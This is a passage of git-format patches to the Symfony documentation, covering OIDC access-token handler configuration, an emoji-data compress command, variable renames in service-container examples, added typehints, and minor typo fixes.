+            return function (ContainerConfigurator $container) {
+                $services = $container->services();
 
                 // ...
 
diff --git a/session.rst b/session.rst
index 1124eea36a8..621749eadb0 100644
--- a/session.rst
+++ b/session.rst
@@ -723,8 +723,8 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -838,8 +838,8 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -1011,8 +1011,8 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
@@ -1130,8 +1130,8 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
diff --git a/testing.rst b/testing.rst
index ed0ab1a8e2c..24326be908a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -357,8 +357,8 @@ the ``test`` environment as follows:
         use App\Contracts\Repository\NewsRepositoryInterface;
         use App\Repository\NewsRepository;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return static function (ContainerConfigurator $container) {
+            $container->services()
                 // redefine the alias as it should be while making it public
                 ->alias(NewsRepositoryInterface::class, NewsRepository::class)
                     ->public()

From 7a20fdf335d271351dc8fbe571397911182a71f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 May 2023 12:32:23 +0200
Subject: [PATCH 3285/5766] [Intl] Document the compress binary

---
 components/intl.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/components/intl.rst b/components/intl.rst
index f4560427a91..67813ef7951 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -402,6 +402,21 @@ platforms::
     Combine this emoji transliterator with the :ref:`Symfony String slugger <string-slugger-emoji>`
     to improve the slugs of contents that include emojis (e.g. for URLs).
 
+The data needed to store the transliteration of all emojis (~5,000) into all
+languages take a considerable disk space. If you need to save disk space (e.g.
+because you deploy to some service with tight size constraints), run this command
+(e.g. as an automated script after ``composer install``) to compress the internal
+Symfony emoji files using the PHP ``zlib`` extension:
+
+.. code-block:: terminal
+
+    # adjust the path to the 'compress' binary based on your application installation
+    $ php ./vendor/symfony/intl/Resources/bin/compress
+
+.. versionadded:: 6.3
+
+    The ``compress`` binary was introduced in Symfony 6.3.
+
 Learn more
 ----------
 

From 5b53159eb1ba7d572234074f2cbab1d4a7644ec7 Mon Sep 17 00:00:00 2001
From: Vincent Chalamon <vincentchalamon@protonmail.com>
Date: Fri, 25 Nov 2022 09:50:01 +0100
Subject: [PATCH 3286/5766] [Security] Document
 `access_token.token_handler.oidc_user_info`

---
 security/access_token.rst | 437 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 437 insertions(+)

diff --git a/security/access_token.rst b/security/access_token.rst
index d5d607dbcb0..2e6438a633e 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -343,6 +343,443 @@ and configure the service ID as the ``success_handler``:
     ``failure_handler`` option and create a class that implements
     :class:`Symfony\\Component\\Security\\Http\\Authentication\\AuthenticationFailureHandlerInterface`.
 
+Using OpenID Connect (OIDC)
+---------------------------
+
+`OpenID Connect (OIDC)`_ is the third generation of OpenID technology and it's a RESTful HTTP API that uses
+JSON as its data format. OpenID Connect is an authentication layer on top of the OAuth 2.0 authorization framework.
+It allows to verify the identity of an end user based on the authentication performed by an authorization server.
+
+.. caution::
+
+    This feature is experimental and could change or be removed at any time without prior notice.
+
+1) Configure the OidcUserInfoTokenHandler
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The ``OidcUserInfoTokenHandler`` class was introduced in Symfony 6.3.
+
+.. note::
+
+    The ``OidcUserInfoTokenHandler`` requires ``symfony/http-client`` package:
+
+    .. code-block:: terminal
+
+        $ composer require symfony/http-client
+
+Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and retrieve the user info:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                client:
+                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info>
+                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
+                            </oidc-user-info>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->client()
+                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+            ;
+        };
+
+.. tip::
+
+    Following the `OpenID Connect Specification`_, the `sub` claim
+    is used as user identifier by default. To use another claim,
+    specify it on the configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                claim: email
+                                client:
+                                    base_uri: https://www.example.com/realms/demo/protocol/openid-connect/userinfo
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info claim="email">
+                                <client base-uri="https://www.example.com/realms/demo/protocol/openid-connect/userinfo"/>
+                            </oidc-user-info>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->claim('email')
+                            ->client()
+                                ->baseUri('https://www.example.com/realms/demo/protocol/openid-connect/userinfo')
+            ;
+        };
+
+.. tip::
+
+    The ``oidc_user_info`` token handler automatically creates
+    an HTTP client with the specified configuration. If you
+    prefer using your own client, you can specify the service
+    name via the ``client`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc_user_info:
+                                client: oidc.client
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc-user-info client="oidc.client"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidcUserInfo()
+                            ->client('oidc.client')
+            ;
+        };
+
+By default, the ``OidcUserInfoTokenHandler`` creates an OidcUser with the claims. To create your own User from the
+claims, you must :doc:`create your own UserProvider </security/user_providers>`::
+
+    // src/Security/Core/User/OidcUserProvider.php
+    use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
+
+    class OidcUserProvider implements AttributesBasedUserProviderInterface
+    {
+        public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
+        {
+            // do some magic
+        }
+    }
+
+2) Configure the OidcTokenHandler
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.3
+
+    The ``OidcTokenHandler`` class was introduced in Symfony 6.3.
+
+.. note::
+
+    The ``OidcTokenHandler`` requires ``web-token/jwt-signature``, ``web-token/jwt-checker`` and
+    ``web-token/jwt-signature-algorithm-ecdsa`` packages:
+
+    .. code-block:: terminal
+
+        $ composer require web-token/jwt-signature
+        $ composer require web-token/jwt-checker
+        $ composer require web-token/jwt-signature-algorithm-ecdsa
+
+Symfony provides a generic OidcTokenHandler to decode your token, validate it and retrieve the user info from it:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                signature:
+                                    # Algorithm used to sign the JWS
+                                    algorithm: 'HS256'
+                                    # A JSON-encoded JWK
+                                    key: '{"kty":"...","k":"..."}'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc>
+                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->signature()
+                                ->algorithm('HS256')
+                                ->key('{"kty":"...","k":"..."}')
+            ;
+        };
+
+.. tip::
+
+    Following the `OpenID Connect Specification`_, the `sub` claim
+    is used by default as user identifier. To use another claim,
+    specify it on the configuration:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                claim: email
+                                signature:
+                                    algorithm: 'HS256'
+                                    key: '{"kty":"...","k":"..."}'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc claim="email">
+                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->claim('email')
+                            ->signature()
+                                ->algorithm('HS256')
+                                ->key('{"kty":"...","k":"..."}')
+            ;
+        };
+
+.. tip::
+
+    The ``oidc`` token handler also check for the token audience.
+    By default, this audience is optional. To enable this check,
+    add the ``audience`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            oidc:
+                                audience: 'My audience'
+                                signature:
+                                    algorithm: 'HS256'
+                                    key: '{"kty":"...","k":"..."}'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <oidc audience="My audience">
+                                <signature algorithm="HS256" key="{'kty':'...','k':'...'}"/>
+                            </oidc>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->oidc()
+                            ->audience('My audience')
+                            ->signature()
+                                ->algorithm('HS256')
+                                ->key('{"kty":"...","k":"..."}')
+            ;
+        };
+
+By default, the OidcTokenHandler creates an OidcUser with the claims. To create your own User from the claims,
+you must :doc:`create your own UserProvider </security/user_providers>`::
+
+    // src/Security/Core/User/OidcUserProvider.php
+    use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
+
+    class OidcUserProvider implements AttributesBasedUserProviderInterface
+    {
+        public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
+        {
+            // do some magic
+        }
+    }
+
 .. _`JSON Web Tokens (JWT)`: https://datatracker.ietf.org/doc/html/rfc7519
 .. _`SAML2 (XML structures)`: https://docs.oasis-open.org/security/saml/Post2.0/sstc-saml-tech-overview-2.0.html
 .. _`RFC6750`: https://datatracker.ietf.org/doc/html/rfc6750
+.. _`OpenID Connect Specification`: https://openid.net/specs/openid-connect-core-1_0.html
+.. _`OpenID Connect (OIDC)`: https://en.wikipedia.org/wiki/OpenID#OpenID_Connect_(OIDC)

From 51e170b6c2185e7d9f089f39222504c0ebd7d31e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 May 2023 13:03:57 +0200
Subject: [PATCH 3287/5766] Tweaks

---
 security/access_token.rst | 83 ++++++++++++++++++---------------------
 1 file changed, 38 insertions(+), 45 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 8bc7cc62b3e..6114d076637 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -343,9 +343,11 @@ and configure the service ID as the ``success_handler``:
 Using OpenID Connect (OIDC)
 ---------------------------
 
-`OpenID Connect (OIDC)`_ is the third generation of OpenID technology and it's a RESTful HTTP API that uses
-JSON as its data format. OpenID Connect is an authentication layer on top of the OAuth 2.0 authorization framework.
-It allows to verify the identity of an end user based on the authentication performed by an authorization server.
+`OpenID Connect (OIDC)`_ is the third generation of OpenID technology and it's a
+RESTful HTTP API that uses JSON as its data format. OpenID Connect is an
+authentication layer on top of the OAuth 2.0 authorization framework. It allows
+to verify the identity of an end user based on the authentication performed by
+an authorization server.
 
 .. caution::
 
@@ -358,15 +360,15 @@ It allows to verify the identity of an end user based on the authentication perf
 
     The ``OidcUserInfoTokenHandler`` class was introduced in Symfony 6.3.
 
-.. note::
+The ``OidcUserInfoTokenHandler`` requires the ``symfony/http-client`` package to
+make the needed HTTP requests. If you haven't installed it yet, run this command:
 
-    The ``OidcUserInfoTokenHandler`` requires ``symfony/http-client`` package:
-
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require symfony/http-client
+    $ composer require symfony/http-client
 
-Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and retrieve the user info:
+Symfony provides a generic ``OidcUserInfoTokenHandler`` to call your OIDC server
+and retrieve the user info:
 
 .. configuration-block::
 
@@ -422,11 +424,8 @@ Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and
             ;
         };
 
-.. tip::
-
-    Following the `OpenID Connect Specification`_, the `sub` claim
-    is used as user identifier by default. To use another claim,
-    specify it on the configuration:
+Following the `OpenID Connect Specification`_, the ``sub`` claim is used as user
+identifier by default. To use another claim, specify it on the configuration:
 
 .. configuration-block::
 
@@ -484,12 +483,9 @@ Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and
             ;
         };
 
-.. tip::
-
-    The ``oidc_user_info`` token handler automatically creates
-    an HTTP client with the specified configuration. If you
-    prefer using your own client, you can specify the service
-    name via the ``client`` option:
+The ``oidc_user_info`` token handler automatically creates an HTTP client with
+the specified configuration. If you prefer using your own client, you can
+specify the service name via the ``client`` option:
 
 .. configuration-block::
 
@@ -541,8 +537,9 @@ Symfony provides a generic OidcUserInfoTokenHandler to call your OIDC server and
             ;
         };
 
-By default, the ``OidcUserInfoTokenHandler`` creates an OidcUser with the claims. To create your own User from the
-claims, you must :doc:`create your own UserProvider </security/user_providers>`::
+By default, the ``OidcUserInfoTokenHandler`` creates an ``OidcUser`` with the
+claims. To create your own user object from the claims, you must
+:doc:`create your own UserProvider </security/user_providers>`::
 
     // src/Security/Core/User/OidcUserProvider.php
     use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
@@ -551,7 +548,7 @@ claims, you must :doc:`create your own UserProvider </security/user_providers>`:
     {
         public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
         {
-            // do some magic
+            // implement your own logic to load and return the user object
         }
     }
 
@@ -562,18 +559,18 @@ claims, you must :doc:`create your own UserProvider </security/user_providers>`:
 
     The ``OidcTokenHandler`` class was introduced in Symfony 6.3.
 
-.. note::
+The ``OidcTokenHandler`` requires ``web-token/jwt-signature``,
+``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa``
+packages. If you haven't installed them yet, run these commands:
 
-    The ``OidcTokenHandler`` requires ``web-token/jwt-signature``, ``web-token/jwt-checker`` and
-    ``web-token/jwt-signature-algorithm-ecdsa`` packages:
-
-    .. code-block:: terminal
+.. code-block:: terminal
 
-        $ composer require web-token/jwt-signature
-        $ composer require web-token/jwt-checker
-        $ composer require web-token/jwt-signature-algorithm-ecdsa
+    $ composer require web-token/jwt-signature
+    $ composer require web-token/jwt-checker
+    $ composer require web-token/jwt-signature-algorithm-ecdsa
 
-Symfony provides a generic OidcTokenHandler to decode your token, validate it and retrieve the user info from it:
+Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate
+it and retrieve the user info from it:
 
 .. configuration-block::
 
@@ -633,11 +630,9 @@ Symfony provides a generic OidcTokenHandler to decode your token, validate it an
             ;
         };
 
-.. tip::
-
-    Following the `OpenID Connect Specification`_, the `sub` claim
-    is used by default as user identifier. To use another claim,
-    specify it on the configuration:
+Following the `OpenID Connect Specification`_, the ``sub`` claim is used by
+default as user identifier. To use another claim, specify it on the
+configuration:
 
 .. configuration-block::
 
@@ -697,11 +692,8 @@ Symfony provides a generic OidcTokenHandler to decode your token, validate it an
             ;
         };
 
-.. tip::
-
-    The ``oidc`` token handler also check for the token audience.
-    By default, this audience is optional. To enable this check,
-    add the ``audience`` option:
+The ``oidc`` token handler also checks for the token audience. By default, this
+audience is optional. To enable this check, add the ``audience`` option:
 
 .. configuration-block::
 
@@ -761,8 +753,9 @@ Symfony provides a generic OidcTokenHandler to decode your token, validate it an
             ;
         };
 
-By default, the OidcTokenHandler creates an OidcUser with the claims. To create your own User from the claims,
-you must :doc:`create your own UserProvider </security/user_providers>`::
+By default, the ``OidcTokenHandler`` creates an ``OidcUser`` with the claims. To
+create your own User from the claims, you must
+:doc:`create your own UserProvider </security/user_providers>`::
 
     // src/Security/Core/User/OidcUserProvider.php
     use Symfony\Component\Security\Core\User\AttributesBasedUserProviderInterface;
@@ -771,7 +764,7 @@ you must :doc:`create your own UserProvider </security/user_providers>`::
     {
         public function loadUserByIdentifier(string $identifier, array $attributes = []): UserInterface
         {
-            // do some magic
+            // implement your own logic to load and return the user object
         }
     }
 

From d59f96070b5c51f7116a4f2e53c4b61fe986e1de Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 May 2023 22:16:14 +0200
Subject: [PATCH 3288/5766] Remove versionadded 5.2 on 6.x branch

---
 form/form_customization.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 1df12a0bc9c..7b4844247f5 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -127,10 +127,6 @@ fields, so you no longer have to deal with form themes:
         {% endfor %}
     </select>
 
-.. versionadded:: 5.2
-
-    The ``field_*()`` helpers were introduced in Symfony 5.2.
-
 Form Rendering Variables
 ------------------------
 

From 2426ce44af403fde87d4989d2824c0f8d8e11bdf Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 11 Mar 2023 14:25:14 +0100
Subject: [PATCH 3289/5766] Be consistent in code examples

---
 service_container/service_closures.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index d490bcb3769..1a6b6542680 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -58,6 +58,9 @@ argument of type ``service_closure``:
             App\Service\MyService:
                 arguments: [!service_closure '@mailer']
 
+                # In case the dependency is optional
+                # arguments: [!service_closure '@?mailer']
+
     .. code-block:: xml
 
         <!-- config/services.xml -->
@@ -69,6 +72,11 @@ argument of type ``service_closure``:
             <services>
                 <service id="App\Service\MyService">
                     <argument type="service_closure" id="mailer"/>
+
+                    <!--
+                    In case the dependency is optional
+                    <argument type="service_closure" id="mailer" on-invalid="ignore"/>
+                    -->
                 </service>
             </services>
         </container>

From f7e1af2b238c60ce47e4f746359c0f7bcbbd7ad2 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 May 2023 09:42:28 +0200
Subject: [PATCH 3290/5766] Add some typehint

---
 controller/service.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/controller/service.rst b/controller/service.rst
index 1510f7b8278..50ee34a1aac 100644
--- a/controller/service.rst
+++ b/controller/service.rst
@@ -31,6 +31,7 @@ apply the ``controller.service_arguments`` tag to your controller services::
     // src/Controller/HelloController.php
     namespace App\Controller;
 
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\HttpKernel\Attribute\AsController;
     use Symfony\Component\Routing\Annotation\Route;
 
@@ -38,7 +39,7 @@ apply the ``controller.service_arguments`` tag to your controller services::
     class HelloController
     {
         #[Route('/hello', name: 'hello', methods: ['GET'])]
-        public function index()
+        public function index(): Response
         {
             // ...
         }
@@ -71,7 +72,7 @@ a service like: ``App\Controller\HelloController::index``:
             /**
              * @Route("/hello", name="hello", methods={"GET"})
              */
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -82,12 +83,13 @@ a service like: ``App\Controller\HelloController::index``:
         // src/Controller/HelloController.php
         namespace App\Controller;
 
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Annotation\Route;
 
         class HelloController
         {
             #[Route('/hello', name: 'hello', methods: ['GET'])]
-            public function index()
+            public function index(): Response
             {
                 // ...
             }
@@ -151,7 +153,7 @@ which is a common practice when following the `ADR pattern`_
          */
         class Hello
         {
-            public function __invoke($name = 'World')
+            public function __invoke(string $name = 'World'): Response
             {
                 return new Response(sprintf('Hello %s!', $name));
             }
@@ -168,7 +170,7 @@ which is a common practice when following the `ADR pattern`_
         #[Route('/hello/{name}', name: 'hello')]
         class Hello
         {
-            public function __invoke($name = 'World')
+            public function __invoke(string $name = 'World'): Response
             {
                 return new Response(sprintf('Hello %s!', $name));
             }
@@ -228,14 +230,14 @@ service and use it directly::
 
     class HelloController
     {
-        private $twig;
+        private Environment $twig;
 
         public function __construct(Environment $twig)
         {
             $this->twig = $twig;
         }
 
-        public function index($name)
+        public function index(string $name): Response
         {
             $content = $this->twig->render(
                 'hello/index.html.twig',

From 2cc8f4b27b9fd82094f3c100599d5ed4ede0573f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 May 2023 13:08:49 +0200
Subject: [PATCH 3291/5766] Minor tweak

---
 components/intl.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/intl.rst b/components/intl.rst
index 67813ef7951..5ec6c4b7011 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -406,7 +406,7 @@ The data needed to store the transliteration of all emojis (~5,000) into all
 languages take a considerable disk space. If you need to save disk space (e.g.
 because you deploy to some service with tight size constraints), run this command
 (e.g. as an automated script after ``composer install``) to compress the internal
-Symfony emoji files using the PHP ``zlib`` extension:
+Symfony emoji data files using the PHP ``zlib`` extension:
 
 .. code-block:: terminal
 

From ae34e2c12fa9f85185292dcd9b4bd033517babcc Mon Sep 17 00:00:00 2001
From: Jon Green <jon@tjs.co.uk>
Date: Mon, 15 May 2023 15:04:49 +0100
Subject: [PATCH 3292/5766] Add missing `use` statement to databases & doctrine
 page

---
 doctrine.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/doctrine.rst b/doctrine.rst
index cca47d1b0f4..d84b20f6583 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -813,6 +813,7 @@ with any PHP model::
 
     use App\Entity\Product;
     use App\Repository\ProductRepository;
+    use Doctrine\ORM\EntityManagerInterface;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     // ...

From 09914bc571397b0e9e14dd3033f88918cad812f3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 May 2023 22:06:36 +0200
Subject: [PATCH 3293/5766] [OptionsResolver] add `ignoreUndefined()`

---
 components/options_resolver.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index fb459f3d9cd..47c15317957 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -842,6 +842,29 @@ the option::
 This closure receives as argument the value of the option after validating it
 and before normalizing it when the option is being resolved.
 
+Ignore not defined Options
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+By default, all options are resolved, validated and an :class:`Symfony\\Component\\OptionsResolver\\Exception\\UndefinedOptionsException`
+is thrown if an unknown option is passed. You can ignore not defined options by using the
+:method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::ignoreUndefined` method::
+
+    // ...
+    $resolver
+        ->setDefined(['hostname'])
+        ->setIgnoreUndefined(true)
+    ;
+
+    // option "version" will be ignored
+    $resolver->resolve([
+        'hostname' => 'acme/package',
+        'version'  => '1.2.3'
+    ]);
+
+.. versionadded:: 6.3
+
+    The ``ignoreUndefined`` method was introduced in Symfony 6.3.
+
 Chaining Option Configurations
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 90ff99b876be20fead963396a6e8c20394933de5 Mon Sep 17 00:00:00 2001
From: pavdovlatov <129055488+pavdovlatov@users.noreply.github.com>
Date: Wed, 17 May 2023 14:20:58 +0300
Subject: [PATCH 3294/5766] Fixed typo in messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index a1d76eb3e57..ba8e4a76936 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2484,7 +2484,7 @@ of the process. For each, the event class is the event name:
 
 .. versionadded:: 6.2
 
-    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.3.
+    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.2.
 
 Multiple Buses, Command & Event Buses
 -------------------------------------

From 02d5477d1f4ee3557069a20a1c638c5e59acabb7 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 19 May 2023 10:17:23 +0200
Subject: [PATCH 3295/5766] Use DOCtor-RST 1.46.1

---
